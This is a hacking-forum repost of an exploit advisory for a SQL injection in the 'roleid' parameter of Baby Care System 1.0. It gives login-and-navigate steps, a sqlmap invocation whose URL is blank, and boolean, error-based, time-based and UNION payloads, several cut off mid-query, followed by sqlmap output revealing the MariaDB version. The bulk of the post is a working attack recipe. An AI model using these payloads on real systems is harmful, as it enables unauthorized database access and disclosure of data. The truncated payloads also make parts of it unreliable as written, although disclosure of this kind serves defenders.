Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Baby Care System 1.0 - 'roleid' SQL Injection


Recommended Posts

# Exploit Title: Baby Care System 1.0 - 'roleid' SQL Injection
# Exploit Author: Vijay Sachdeva
# Date: 2020-12-23
# Vendor Homepage: https://www.sourcecodester.com/php/14622/baby-care-system-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14622&title=Baby+Care+System+in+PHP%2FMySQLi+with+Full+Source+Code+
# Affected Version: Version 1
# Tested on Kali Linux

Step 1. Log in to the application with admin credentials.

Step 2. Click on "MENUS" on the left side and then edit any "Page Role".

Step 3. On the edit page, the URL should be: http://localhost/BabyCare-master/admin.php?id=pagerole&action=edit&roleid=7

Step 4. Run sqlmap on the URL where the "roleid" parameter is given

sqlmap -u ""


Parameter: roleid (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=pagerole&action=edit&roleid=8' AND 3077=3077 AND

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

    Payload: id=pagerole&action=edit&roleid=8' AND (SELECT 2834 FROM(SELECT
(ELT(2834=2834,1))),0x71717a6271,FLOOR(RAND(0)*2))x FROM

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=pagerole&action=edit&roleid=8' AND (SELECT 4559 FROM

    Type: UNION query

    Title: Generic UNION query (NULL) - 4 columns

    Payload: id=pagerole&action=edit&roleid=-2488' UNION ALL SELECT


[05:32:00] [INFO] the back-end DBMS is MySQL

[05:32:00] [INFO] fetching banner

back-end DBMS: MySQL >= 5.0 (MariaDB fork)

banner: '10.3.24-MariaDB-2'


[08:18:34] [INFO] the back-end DBMS is MySQL

[08:18:34] [INFO] fetching banner

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

banner: '10.3.24-MariaDB-2'


Step 5. Sqlmap should inject the web-app successfully which leads to information disclosure.
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...